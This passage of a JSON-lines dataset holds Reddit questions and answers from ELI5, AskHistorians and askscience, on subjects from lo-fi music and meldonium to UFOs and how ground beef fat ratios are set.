[Sebadoh](_URL_7_) (formed in 1986) were well known for being badly rehearsed when they played live. Not by chance they were also massive stoners. A decade later, the same was said about some shambolic indie singer [Badly Drawn Boy](_URL_3_).\n\nThere's a difference between bands which are \"lo-fi\" because they had no other option and those who use the sound because they like it. As if often the case, the limitations and problems musicians face create an interesting or appealing sound - although this can become fetishised, bands using the sound for no good reason. For example, Pavement, one of the defining lo-fi bands improved the production quality of their music over the years (see if you can see a difference between [Range Life](_URL_2_) and [Carrot Rope](_URL_2_). Somewhere in-between the two, listen to Jeffrey Lewis' [Another Girl](_URL_0_) - recorded on a shoestring, but also deliberately shoddily recorded. Possibly the only song I've heard that sounded more professional played live. (Incidentally, that takes us on to a closely linked genre, anti-folk) On the other hand, I've seen indie/noise pop band [Joanna Gruesome](_URL_6_) criticised for how their lo-fi aesthetic buries the vocals, with the comment that their best track is the one which makes them more prominent  ([I agree](_URL_5_)).\n\nThese days, with the low cost of high quality recording and production tools, a lot of the quality \"problems\" of lo-fi are easily avoided. So the ideals of recording and distributing your own music are much easier, and the sound itself becomes more of a choice.\n\nDamn, I rambled a bit there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=5FXDl3YxYZw", "https://www.youtube.com/watch?v=ux3u31SAeEM", "https://www.youtube.com/watch?v=1VVj1zqbWpU", "https://www.youtube.com/watch?v=HuGR-8HtyB0", "https://www.youtube.com/watch?v=89Z1ZYrzHPI", "https://www.youtube.com/watch?v=qMHbn8fQLlk", "https://www.youtube.com/watch?v=B3ZOGZz3IfA", "https://www.youtube.com/watch?v=7BqPpyHCVYo"]]}
{"q_id": "4ld82y", "title": "how do investigators retrieve emails from servers?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ld82y/eli5_how_do_investigators_retrieve_emails_from/", "answers": {"a_id": ["d3mdnjz", "d3mng64"], "score": [7, 3], "text": ["The best thing to do is attach to the disk a device that will copy the whole thing while making no changes.  You then examine the copy.  Emails after delivery are just files.   \n\n_URL_0_  ", "Depending on the server type, exporting a users mailbox is as simple as typing/clicking a couple of things. And when the server admin is given a warrant, or many times just asked, they export and deliver it. \n\nAlso keep in mind that when you delete mail on most servers, it is just put into a folder you can no longer access, not actually removed from the server in any way. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/List_of_data_recovery_software"], []]}
{"q_id": "1k533r", "title": "is a human virgin birth scientifically possible?", "selftext": "I am not asking this to start a huge debate on religion.  I am simply wondering if a virgin birth is a scientifically feasible concept.  Obviously during the Bronze Age artificial insemination did not exist yet.  I'm curious if there is any other way a woman could get pregnant without having intercourse.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1k533r/eli5_is_a_human_virgin_birth_scientifically/", "answers": {"a_id": ["cblgpna", "cblinxs", "cblj5d6", "cblkyjn"], "score": [37, 15, 5, 9], "text": ["If a woman is a virgin until a penis enters her vagina, then yes, virgin births are possible. If a man were to ejaculate on her, it's possible that sperm cells could swim up the vaginal canal and make her pregnant. ", "If semen enters the vagina then there's the possibility of pregnancy -- this could happen in a multitude of ways (some of which have been described). If you are asking if a woman can become pregnant without semen (or some sort of artificial insemination) then the answer is no.", "By the definition of insemination and virginity, it is possible to inseminate without losing your virginity. People can still be inseminated if semen still falls on the labia majora. The penetration is something that usually happens due to evolved sexual competition, but doesn't have to happen. Also artificial insemination would, under most definitions I know, not invalidate virginity (Not that I am caring here, I think that virginity is a rather prudish and useless concept, but because we are discussing how other people view it, I am viewing the situation through their definitions). Artificial insemination doesn't have to be direct injection of sperm nucleus into egg nucleus using a hypodermic needle, it can just mean collecting semen and getting it as close to the cervix as possible to cause insemination. If a concept of virginity means keeping the vagina completely clear of any foreign male sex cells then it is possible through [parthenogenesis.] (_URL_0_) Although there has never been a scientifically verifiable case of parthenogenesis in a human, it can still be possible. Although any case of parthenogenesis would result in a female because all of the sex cells of a female lack the necessary y chromosome to conceive a male. So no, a Jesus who was conceived without the use of semen and male gametes is not scientifically possible.", "If she swallows semen and then gets stabbed in the abdomen.\n\n[Source](_URL_0_)\n\n[Pubmed](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Parthenogenesis"], ["http://img2.timg.co.il/CommunaFiles/21227065.pdf", "http://www.ncbi.nlm.nih.gov/pubmed/3191066"]]}
{"q_id": "1whns2", "title": "Did the Greeks and Romans worship Eris/Discordia or was she just a figure in the mythology? If so, what form did worship take?", "selftext": "Did the ancient Greeks and Romans actually worship Eris and Discordia or was she just a mythological figure? \n\nWere there cults of shrines related to her, or rituals related to her or keeping her influence away? If she was worshiped, how so?\n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1whns2/did_the_greeks_and_romans_worship_erisdiscordia/", "answers": {"a_id": ["cf25c0y"], "score": [12], "text": ["It's very hard to meet the requirements for a top level comment with this one, because the answer simply is: \n\nNo, they didn't. \n\nActually I wouldn't even go so far and call her a mythological figure as she is merely a (literary) personification."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "33vwlg", "title": "How were WWII Wehrmacht/Red Army companies organized?", "selftext": "Sorry if this is not the right place to post this, but I had a question about the way German Wehrmacht and Soviet Red Army companies were organized/structured. There isn't a lot of info readily available that I could find below the division level. Basically, were the companies in those armies organized similar to how U.S. companies were in WWII? For example, I would presume each would be commanded by a captain with several platoons commanded by lieutenants, etc. Plus there would be a first sergeant serving as the chief NCO for the company, etc. However, I did see somewhere that a Red Army regiment just had platoons within it, not companies. Am I off the mark?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/33vwlg/how_were_wwii_wehrmachtred_army_companies/", "answers": {"a_id": ["cqp8bmc"], "score": [2], "text": ["I'm afraid I can't answer for the Red Army, as it's not something I know well.  But the Wehrmacht (and to a lesser extent the Waffen SS) were actually fairly similar in structure to a US or British company structure, although with the leadership appointments commonly one rank more junior than in Allied forces:\n\nOn paper, an infantry company would normally be composed of three \"regular\" platoons of infantry, each with a nominal strength of 30 men, plus a heavy platoon, which included HMGs, AT guns,  and Mortars.  A tank company would normally have four platoons of four or five tanks each, plus a two-tank command element, all equipped with the same model of tank, giving a nominal company strength of 22 tanks.  In practice, of course, available strength varied hugely.\n\nEach platoon would be led by a Leutnant (2nd Lt) or Oberfeldwebel (Staff Sgt/Warrant Officer equivalent), with the Company led by an Oberleutnant (Lieutenant), assisted by a Hauptfeldwebel (Company Sergeant Major), colloquially known as \"Spiess\" (literally derived from a term for spear or pike, but analogous in usage to \"Top\" in US military parlance).\n\nFor initial reading, I'd recommend something like the Osprey Series (Elite 105 is *World War II Infantry Tactics, Squad and Platoon*; Elite 122 is *World War II Infantry Tactics, Company and Battalion*).  For more further reading, my interest is more toward tanks, and for that you can't go wrong with Thomas Jentz's two-volume *Panzer Truppen*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "49gyvf", "title": "Maria Sharapova just got in trouble for using meldonium; how does this medication improve sports performance?", "selftext": "Seems like it blocks carnitine synthesis. Carnitine is used to shuttle fatty acids into mitochondria where they are used as an energy source. Why would inhibiting this process be in any way performance *enhancing*? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/49gyvf/maria_sharapova_just_got_in_trouble_for_using/", "answers": {"a_id": ["d0rv8rg", "d0rvb2g", "d0rvc6j", "d0rxwia", "d0rzzkc", "d0s07hz", "d0s1x9s", "d0s2y6r", "d0s3mh2", "d0s77zv", "d0sd18q", "d0su19y", "d0svaer"], "score": [452, 51, 2109, 62, 15, 64, 45, 20, 9, 4, 4, 2, 2], "text": ["Because meldonium medically has been shown to improve the exercise capacity of injured tissues (for example, injured tissues in the heart in heart attacks), it has been used without any approval for increasing exercise capacity of noninjured tissues (like muscles and a healthy heart). One of the major issues with meldonium is that it's quite unknown. Many of the claims of its performance enhancement are largely untested, but rather used anecdotally and to \"keep up\"  with other athletics trends trends and dopers. \n\nThe mechanism of action would be likely of one of modifying a number of metabolic pathways, some understood (like the one you suggested), and others not well understood.   Our metabolisms are very complex, and many effects have multiple inputs and modifiers. \n\nThe simplistic answer is that it seems to reduce oxidative stress on tissues. \n\nEdit: digging a little deeper into the original research on this compound is kinda weird because it is mostly eastern block stuff.  But I did find this:\n\n_URL_0_", "[Meldonium](_URL_2_) is an anti-ischemic drug, which means it increases blood flow to tissues. It has been shown to increase endurance performance in patients with angina, which is a condition brought on by poor blood flow. Increasing blood flow can have a performance enhancing effect for a healthy athlete, which is why meldonium ended up banned starting January 1st 2016 after being on the monitored list, [source](_URL_1_). It is classified as a metabolic modulator on the WADA [Prohibited List](_URL_0_).", "According to the World Anti-Doping Agency (WADA), meldonium acts as a \"metabolic modulator.\"  It improves sports performance by stopping the carnitine activities and stops the mitochondria from being overloaded by fatty acid breakdown during exercise and instead shifts the focus towards breaking down carbohydrates, which requires less oxygen to be taken away from muscles.  By reducing the pressure on the mitochondria, meldonium reduces the amount of urea and lactate in the blood and allows for improved oxygen transport to the muscles to aid not only in performance but in recovery.\n\nSource: _URL_0_", "Not to disrespect any of the good answers in this thread, but just to address a broader point, many of these associations are far too heavy handed when it comes to drugs of any kind as a rule. \n\nLook at Ross Rebagliati. He was stripped of his medal when they found traces of marijuana in his blood. Marijuana is clearly not a performance enhancing drug, it's just a drug. But nonetheless it was a banned substance for athletes. There are lots of similar examples, so I don't know if there actually needs to be a sensible justification for the classification in the eyes of many sports associations. ", "Additionally: a Russian speedskater and shorttracker have allegedly been caught as well. One is a world record holder and the other a world champion.\n \nApparantly they did so while combatting a heart condition. Impressive.", "\u2022 Meldonium is used to treat ischaemia: a lack of blood flow to parts of the body, particularly in cases of angina or heart failure.\n\n\u2022 It is manufactured in Latvia and only distributed in Baltic countries and Russia. It is not approved by the Food and Drug Administration for use in the United States and is not authorised in the rest of Europe.\n\n\u2022 It increases blood flow, which improves exercise capacity in athletes.\n\n\u2022 Wada found \u201cevidence of its use by athletes with the intention of enhancing performance\u201d by virtue of carrying more oxygen to muscle tissue.\n\n\u2022 The decision to add meldonium to the banned list was approved on 16 September 2015, and it came into effect on 1 January 2016. Wada had spent the previous year monitoring the drug before adding it to the banned list.\n\n\u2022 The drug was name-checked in the latest investigative documentary on Russian doping reforms by the German Hajo Seppelt on Sunday. The documentary referred to a 2015 study in which 17% of Russian athletes (724 of 4,316) tested were found to have meldonium in their system. A global study found 2.2% of athletes had it in their system.\n\n\u2022 L\u2019Equipe reported that the scientific advisor to the French Agency Against Doping (AFLD), Professor Xavier Bigard, said in interviews with athletes at last year\u2019s European Games in Baku that a wide proportion of athletes admitted taking meldonium.\n\n\u2022 It is classed as an S4 substance under the Wada code, which addresses hormone and metabolic modulators.\n\n\u2022 The standard ban under the World Anti-Doping Code is four years.\n\n\u2022 A memo was sent out to athletes by Russia\u2019s anti-doping agency last September informing them of the decision to ban its use.\n\n\u2022 Sharapova says she has been taking the drug for 10 years after she was regularly falling ill. She had a magnesium deficiency and family history of diabetes.\n\n\u2022 Several athletes have been suspended since the turn of 2016 after testing positive for the dug. Abebe Aregawi, the 2013 women\u2019s 1,500m world champion, has been provisionally suspended after meldonium was found in an A sample she provided. Endeshaw Negesse, the 2015 Tokyo marathon champion, was also banned after reportedly testing positive for the same substance. Others include Olga Abramova and Artem Tyschcenko, two Ukrainian biathletes, Eduard Vorganov, a Russian cyclist and Ekaterina Bobrova, a Russian ice dancer.\n", "Maria Sharapova was apparently taking this for years, and it wasn't banned. Suddenly it's now banned, and her sponsors are either suspending her, or dropping her entirely. Wouldn't it be fair to give her a set amount of time (whatever a doctor recommends) to get off the drug? After all, it was legal until just now. If she suddenly just stopped taking it, this might be very detrimental to her health. It's not like she was taking a substance for years that was actually banned for all those years. ", "The real question is, when does something cross the line to become 'performance enhancing?'  From water, to caffeine, to broccoli, to creatine, to steroids.  Everything \"enhances performance\" so to speak.   It gets kind of silly after a while.  What's next? A ban on sugar?", "Possibly a na\u00efve question, but could it be the case that she was taking meldonium prior to the January 1 ban and it would still appear positive in testing now?\n\nI only ask because I know some banned/monitored substances can show up months after stopping use.  For example, I'll stopped taking creatine several months before my recent blood test, but my liver results still showed elevated creatinine levels.\n\nEdit: spelling", "Given what Maria says about her medical condition (magnesium deficiency and diabetes...etc). What medication would she have been prescribed if she were a regular but active (not obese, not sedentary) person who went to the doctor? Would these medications have been better than meldonium save for the FDA approval?", "In a lot simpler terms than the top comment, melodonium basically allows for increased physical endurance through greater blood flow (aka muscles get more blood). Lots of Kenyan runners have been linked to it. It actually wasn't banned in the sport of tennis till this year, so not sure why Sharapova kept taking it.", "A lot of people seem to have already explained up how the drug helps performance. Some of you might still be wondering: why won't blocking fatty acid transport into the mitochondria for energy use HAMPER an athlete's performance?\"  \n  \nWell it's simple. Muscles mostly use fatty acids as energy only during rest, so really only at a very basal level. Almost ALL the energy they use for contraction comes from ATP, creatine phosphate, glycogen, and blood glucose.  \n  \nSource: I'm in medical school and had to learn that about a month ago.", "If you can follow the below. Basically Meldonium prevents Carnitine production. If you cant form Carnitine you'll have more of the amino acids lysine. Lysine helps with anxiety and recovery from sports. One doesn't want to take lysine directly because it will just form more Carnitine. You need Meldonium. \n\n_URL_1_\n\n\nFrom that website:\n\nIt is a structural analogue of \u03b3-butyrobetaine, with an amino (NH) group replacing the CH2 at the C-4 position of \u03b3-butyrobetaine. \u03b3-Butyrobetaine is a precursor in the biosynthesis of carnitine.[23]\n\nIt prevents Carnitine.\n\n_URL_0_\n\nFrom the link immediately above:\n\nvitamin BT, although carnitine is not by biochemical definition a true vitamin.\n\n\"the biosynthesis of carnitine\" \"from the amino acids lysine\"\n\n\n_URL_2_\n\nFrom the website immediately above:\n\nLysine plays a major role in calcium absorption; building muscle protein; recovering from surgery or sports injuries; and the body's production of hormones, enzymes, and antibodies.\n\nand\n\nLysine, acting as a serotonin antagonist and therefore reducing the overactivity of these receptors, reduced signs of anxiety and anxiety-induced diarrhea in the sample population. Another study showed that lysine deficiency leads to a pathological increase in serotonin in the amygdala, a brain structure that is involved in emotional regulation and the stress response.[37] Human studies have also shown correlations between reduced lysine intake and anxiety.\n\nand \n\nLimited studies suggest that a high-lysine diet or L-lysine monochloride supplements may have a moderating effect on blood pressure and the incidence of stroke\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sciencedirect.com/science/article/pii/S1043661815301717"], ["http://list.wada-ama.org/prohibited-all-times/prohibited-substances/", "https://www.ncbi.nlm.nih.gov/pubmed/25847280", "https://en.wikipedia.org/wiki/Meldonium"], ["http://www.abc.net.au/news/2016-03-08/what-is-meldonium-and-what-does-it-do-to-your-body/7228670"], [], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Carnitine", "https://en.wikipedia.org/wiki/Meldonium", "https://en.wikipedia.org/wiki/Lysine"]]}
{"q_id": "cezout", "title": "How did Ernest Rutherford know that the the positively charged particles in a nucleus were equal in magnitude of charge to electrons?", "selftext": "For example, how did he know that a hydrogen atom had one proton to balance out its electron and not multiple positively charged particles?  How did he know that a proton wasn't just the same size as an electron but that there were  more of them?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/cezout/how_did_ernest_rutherford_know_that_the_the/", "answers": {"a_id": ["eu6mt46", "eu7fqff"], "score": [12, 3], "text": ["Rutherford was influenced by Prout's hypothesis that all atoms were made up of groups of hydrogen atoms, with the hydrogen atom being the fundamental particle. The logic was that the atomic weights known at the time were almost exactly integer multiples of the mass of hydrogen. If there were smaller particles, there would be smaller elements or elements with masses that fell in between multiples of hydrogen. Obviously Rutherford discovered that an atom wasn't just one particle but a positive nucleus surrounded by negative electrons, and then when he observed the process of nitrogen atoms releasing hydrogen atoms when bombarded by alpha particles he took this as evidence that the hydrogen nucleus is indeed the fundamental building block for all other nuclei. This was before the neutron was discovered, it was believed that the nucleus was only made of positive charges.\n\nOf course, protons are actually made up of quarks with fractional charges but there was no way to know that at the time.", "This long post I made to answer a related question might help.\n\n_URL_0_\n\nOne key experiment in parallel to Rutherford: Moseley\u2019s X-ray spectroscopy experiments were able to directly measure the charge of a nucleus.  This, combined with the masses of isotopes and elements, allowed us to know the mass and charge of protons and neutrons."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/askscience/comments/bw9jpc/how_can_we_count_the_number_of_protons_and/"]]}
{"q_id": "1o3eds", "title": "If I eat a 2,100 calorie cake on Sunday, would I gain the same amount of weight/fat as if I ate seven 300 calorie pieces over the course of the week?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1o3eds/if_i_eat_a_2100_calorie_cake_on_sunday_would_i/", "answers": {"a_id": ["ccojrzl", "ccomf4s"], "score": [6, 20], "text": ["this article (_URL_1_) links to the following abstracts:\n\n- _URL_0_\n- _URL_3_\n\nit has to do with weight loss, but the summary is the meal size had no statistically significant effect on the amount of weight loss.\n\nhowever, the article starts out with a link to this abstract:\n\n- _URL_2_\n\nwhich found that smaller meals may be better for your overall health. i also found mention elsewhere that people who eat fewer, larger meals are more likely to become obese but i wasn't able to find any abstracts or articles.\n\nthis all has to do with controlled diets over longer periods of time, though. so, maybe there's some significant difference to having single absurdly large meals occasionally.", "Let me preface this by saying that I\u2019m just an undergrad studying nutrition and biochemistry so I am by no means an expert.\n\nThere are three key factors in the breakdown of food in the body:\n\n1. Chemical composition of the food (lipids, carbs, and protein)\n2. Regulatory hormones in the digestive system and;\n3. The thermic effect of food (TEF). \n\nAll are critically important to answering this question. The calorie model is good for the everyday eater because it is extremely simple, calories in = calories out; to maintain weight. There are of course derivations you can think of for losing or gaining weight. This works because calories are simply a measure of heat, so what is really being stated is energy in = energy lost as heat. However, the reality is not so clear cut. \n\nThe calorie system was initially created by literally burning macromolecules to see how much heat is released. It was found that carbohydrates (starches and sugars) released 4Kcal/g, lipids (saturated and unsaturated fats) released 9Kcal/g and protein (amino acids) released 4Kcal/g. It was from this that the calorie system we have today arose. Now, due to the TEF not all macromolecules are equal in the energy required to distribute them throughout the body. Lipids are already close to being in the form that the body likes to store them in, so they take very little energy to break them down (estimates 5-8 Kcal released per 100Kcal lipid) however, proteins and carbohydrates must be broken down into fatty acids which requires a great deal of enzyme activity before they can be stored as fat. For this reason, protein is rarely used in the body to store as fat if the body can avoid it, estimates of 25-35Kcal lost as heat per 100Kcal protein; carbohydrates are somewhere in-between. For this reason, all food is not broken down in the body in the same fashion, and is a reason why some vegetables actually have negative caloric value.\n\nNow, as per your example, consider a cake, let\u2019s break it down into its component parts. 2100 calories in a cake, let\u2019s say 40% is fat (whipped cream, butter, frosting) 55% is carbohydrates (flour, sugar, whipped cream, frosting) and 5% is protein (egg, milk). Desserts and sweets like this are a gold mine for the body, they see this enormous amount of fat and it looks great. The body is specifically programmed to eat as much fat as possible, as it is relatively scarce and is calorically dense. No matter if you eat this all at once, or in small portions, the % comp will remain the same. Therefore, the body is going to go after the fat and store it in fat cells. However, the key to this problem is the question of which method will store more fat as triglycerides in the adipose cells? \n\n**Let me stop here and say the following is speculation from what I\u2019ve learned in school, I\u2019d love for someone in the know to correct me if I\u2019m wrong. \n\nWhen you eat the entire cake all at once, the body cannot physically digest the entire thing, a slew of enzymes are released from inception starting with salivary amylase and salivary lipase in the mouth to pepsin in the stomach. When the cake reaches the stomach (if the body doesn\u2019t tell the sympathetic nervous system to throw up) it will mostly stay in the stomach while HCL and peristalsis do their thing to break down the food as much as possible, meanwhile, the stomach will push the cake through the small intestine in as quick as fashion as possible. Here, the small intestine, pancreas, gallbladder, and liver go into overdrive sending digestive enzymes to break down the food enough to be absorbed by the cell walls and into the blood and lymph systems.  Meanwhile, the CNS sends out \u201crest and digest\u201d signals to the whole body including the pancreas which starts to make plenty of insulin for the bloodstream. These signals also attempt to slow down other normal activity in the body, in the hope that the body can more quickly digest this massive energy source. From here until the cake is digested, the body will attempt to store all of the fatty acids and carbohydrates as fat in the fat cells, the insulin levels will stay high until the cake is nearly out of the intestine. \n\n\nOn the other hand, when you eat only 1 piece of cake, the insulin levels will not stay as high for as long, which will make your body less lethargic allowing you to stay at an increased metabolic rate and using more calories overall. \n\n\nTL;DR Eating a whole cake causes more adipose tissue production thus leading to higher amount/ larger fat cells. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/3592618", "http://www.nytimes.com/2010/03/23/health/23really.html?_r=0", "http://www.ncbi.nlm.nih.gov/pubmed/2674713", "http://www.ncbi.nlm.nih.gov/pubmed/19943985"], []]}
{"q_id": "4tsktv", "title": "Why are there no major major religions that worship the sun? When did people stop thinking the giant ball of fire that gives us life WASN'T God?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4tsktv/why_are_there_no_major_major_religions_that/", "answers": {"a_id": ["d5kgtmo", "d5kpfkn"], "score": [138, 14], "text": ["Well, depending on your definition of 'worshiping the sun', some still do.\n\nFor example, in Hinduism, the god Surya is the sun god and is an important deity in traditional Hindu astrology.  He is worshiped as the supreme deity by the Saura sect (_URL_1_) of Hindus - tough admittedly they're a smaller sect than other major Hindu sects.  The Smrata Hindu tradition (_URL_2_) also worships Surya as one of its five principle deities, along with Shiva, Vishnu, Devi, and Ganesha.\n\nIn Japanese Shinto, the sun goddess Amaterasu is an important goddess, considered the ancestor of the Yamato clan, and thus the ancestor of all the Japanese emperors.  Ise Jingu shrine (_URL_0_) is arguably the most important Japanese shrine, and is dedicated to this sun goddess.  Worship at this shrine has been a key part of Shinto for hundreds of years.\n\nOther major religions (Christianity, Judaism, Islam etc.) don't worship the sun because it's considered to be a part of God's creation, rather than God himself.  This began with the Torah, as in Genesis 1:14, God famously creates the sun and moon (called 'lights in the firmament of heaven' in the text).", "If I may ask another question (if not I might put it as a seperate thread): Why *did* the ancient Egyptians worship the sun to such an extent? It seems that every Egyptian deity who was considered head of the pantheon in any region or time took on aspects of a sun god.\n\nI mean, I can understand that Egyptians would worship the Nile (as they did), because it gives the country life. But sunshine/warmth is a thing of which there always was an abundance in Egypt. Why would you worship a thing of which there is so much that it actually becomes a danger (draughts, fire, heatstroke, etc.) I could get it if say the German tribes in the freezing north worshipped the sun, but why somebody who no doubt would have been better off with a bit less sun?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Ise_Grand_Shrine", "https://en.wikipedia.org/wiki/Saura_(Hinduism)", "https://en.wikipedia.org/wiki/Smarta_Tradition"], []]}
{"q_id": "2iferj", "title": "what came first, the sighting of a ufo or the writings of ufo's in fictional stories?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2iferj/eli5_what_came_first_the_sighting_of_a_ufo_or_the/", "answers": {"a_id": ["cl1po4h", "cl1q7lf"], "score": [3, 3], "text": ["There are ufos in hundred+ year old paintings, mentions in bibles(multiple different religions bibles), columbus even reported seeing a ufo within day or so of hitting america.\n\nI believe there are even cave paintings with what appear to be UFOs.\n\nHumans have been seeing UFOs and writing about UFOs since as long as humans could see, and write. ", "The important thing to remember is that UFO means \"unidentified flying object\" and not \"aliens from space.\"\n\nAnything you see in the sky and don't know what it is is a UFO. That could be a meteor/meteorite, weather balloon, conventional aircraft, whatever.\n\nThere have been UFO sightings going way, way back. But for sightings long before the age of aircraft, they were never attributed to aliens, but to angels, demons, witches, or whatever other folklore existed at the time.\n\nWe don't start to hear about the connection between UFOs and aliens until the 19th century, not coincidentally after astronomers are finally studying the other planets in our solar system, and humans have started to experiment with flight through balloons and the like.\n\nThe first science fiction stories were written in the early-mid 1800s (thank Edgar Alan Poe and Jules Verne) and early-modern UFO sightings did not begin until the 1880s. Modern UFO sightings did not really begin until the 1950s, long after the human discovery of flight and several decades after the first golden age of science fiction.\n\nSo... there are always strange things in the sky. Non-scientists explain them in terms of the current culture and belief system. Angels and demons when those fit the narrative; aliens from other planets when those fit. In that gap between early science fiction and human flight, everything was explained by spiritualism, like ghosts. \n\nIt's all a variation of the old adage \"You'll believe it when you see it.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5t9tcj", "title": "how do they ensure such precise amounts of fat (say 20% fat / 80% lean) in ground beef?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5t9tcj/eli5how_do_they_ensure_such_precise_amounts_of/", "answers": {"a_id": ["ddl8nel", "ddl983u", "ddl98p5", "ddlavnm", "ddlec4t", "ddlfpi7", "ddlhzvx", "ddlidhx", "ddllvzi", "ddln8i9", "ddlqyn4", "ddlrlxq", "ddlw5a7"], "score": [288, 75, 8, 11, 11, 5, 3, 4, 20, 2, 2, 2, 2], "text": ["The butchers will remove the fat before grinding the meat and add it back in at whatever ratio they need. My butcher will usually only go up to 40/60 but we go way back so he gives me 50/50. It's good to have friends in the business. \n\n*since people are messaging me the same question I figured I would answer here. The highest ratio I have tried is 70/20. Slightly too soft for my preference. ", "I'm not sure about exact percentages, but it's done by weight.  I worked for a butcher and the fat trimmings from other cuts of meat were kept in a huge bin. They would buy huge boxes of frozen beef and you would take out 80lbs of that and then use your own 20lbs of fat trimmings and then you combine the two in the grinding process to get your 80%.  But they also buy both from the distributor in big 50lb boxes. (Either beef trimmings or fat trimmings) then all you do is combine it into your desired percentage. ", "It really depends on the place you are buying your ground product from. If it's a big box grocery store they are probably buying their ground beef previously ground. They then take the product and regrind it to blend it and give it oxygen to give it color. The product they are getting is typically from a large processor that is blending a large batch of trimming and fat to dial in a specific fat content. They do this by taking a smoke of the blend and burn it off to see the fat separation and get their ratio. \nIf you are buying your ground product from a smaller butcher you can assume that they are using daily trimmings in their fattier blends to efficiently use their off cuts. \nRestaurants typically buy from a big broadline company that offers everything or they buy from a company that typically deals just meat. Those companies that deal in just meat usually grind whole muscle and with today's meat packing standards are able to consistently blend muscles to a desired fat percentage. With industry exposure you are able to judge how fatty a muscle blend will grind out, even then there will be a variation. ", "My butcher does math and then uses a scale. \n\nA bit of information on the process.  Our grocery store gets beef in two ways.  One is a tube of ground beef, the other is vacuum sealed primal cuts.  From your primals you get items like a sizzler steaks, rib steaks, spencer steaks, bottom round roasts, et cetera.  In order to get these from the primal, we use an item like a band saw or a knife to cut them into smaller parts than the slaughterhouse sends us.  During this process we'll trim fat and bone from the meat and put it in a big plastic bin.  Now we buy beef by the case, but that case's prize is set by it's weight, so trimming trims from our margins too.  Because we have a meat grinder, however, we can buy tubes of grinds at 83/17 instead of 80/20, and then just add the extra 2% in trim.", "I worked as a meat cutter for a few years.\n\nWe ground our own meat daily, so we would do a round of ground chuck, and a rounf of ground round.\n\nFor ground chuck we would do two things - take the steaks that were expiring for sale that day, and add them to some primal chuck cuts (front shoulder.)  We would then add in trimmings from the previous days steak trim we kept in a tub in the fridge overnight.  \n\nFor ground round, we would take straight peeled knuckles from the back hip area, and add in the same trimmings.  We would run 85/15 for chuck, and 80/20 for round.  We added less fat to the chuck, as we were also putting in steaks with fat included, plus the chuck cuts themselves have fat throughout.  So, the 15 or 20 was the added amount, not necessarily the amount you were getting.\n\n", "Most of the time its ballparked.  Ground beef is mostly trim cut off big chunks of meat and through the central limit thereom ground beef tends to have a mean of around 15% fat 85 meat when taking trim from all parts.  If a butcher wants to push a large quantity of extra lean high quality ground beef they would use the sirloin, but normal ground beef is a mix of a lot of lower end cuts (so no tenderloin ground beef). \n\nSource: Meat Clerk 4 years", "You're thinking backwards. \n\nIf i take trim meat from chucks and grind it its going to be right around 80/20, that's why we call 80/20 ground chuck. \n\nIf i grind round its going to almost always be right at 85/15. \n\nIf i grind most stuff out of a sirloin its going to be right around 90/10. \n\nGround beef is usually super lean trim mixed in with pure trim fat guesstimated right at around 70/30, this is done by weight.  \n\n\nLarge scale commercial is different though. Remember pink slime? All pink slime really is in incredibly fine ground incredibly lean ground beef. \nFor really large batch processing they just grind whatever, test it, and calculate how much \"pink slime\" to add at the end to get the right ratios. \n\nLarge scale processing ground beef is both trim meat from making large primals or sub-primals (large cuts that go to smaller shops, grocery stores) and low end meat with no retail value elsewise, like cheek meat, or weasand meat (the muscle lining the esophagus)", "So many butchers and meat clerks giving estimates and approximations...\n\nThe simple answer is actually this: there is no non-destructive way of accurately measuring fat content. \n\nWhat testing agencies and labs do, to ensure that ground meat actually has the fat content it states, is taking a sample and rendering the fat by cooking the meat at around 60 degrees Celsius. Rendered fat floats to the top, gets collected and weighed and  a percentage of fat VS the initial meat is calculated.", "I use to work in a meat department and when we ground the 85% from all of the butchers trim, we had a little quality control device of sorts. \n\nIt basically cooked a measured amount of beef from the batch, about a half a dollar sized dollop worth.\n\nThe fat drains into a test tube and the lines on the tube indicated the amount of fat.\n\n", "I worked at Costco meat department for a short time and for the ground beef we would take a small sample and put it in a matching that would squish/heat it up and tell you the exact fat percentage. They take their precision seriously. ", "Depending on the grade (choice, select, prime) there are formulas to determine how much fat %is present in the primal. Take that, the % of lean, add additional fat trimming or lean(meat) to create your desired percentage and grind/blend. The higher fat % the cheaper the blend, because fat is usually a waste product where lean (meat) is a more desired product. If you buy a pound of 80/20, and just brown it youll end up with roughly 80% of meat at the end of it. So if you have a recipie that calls for a pound of ground beef, buy ground in a tray (instead of a tube (chub, no joke. Thats what its called)), you can usually find it at weights over a pound to make up for the 'grease' loss. ", "The meat/fat ratio is determined by the fat content of the  lean (red part). For instance most of the rump is 80/20, the shoulder is usually 70/30, the loin 90/10 and so on. This is fat INSIDE the meat, not the white stuff around it.  The butcher can declare meat/fat content of the ground meat by knowing where the meat came from. 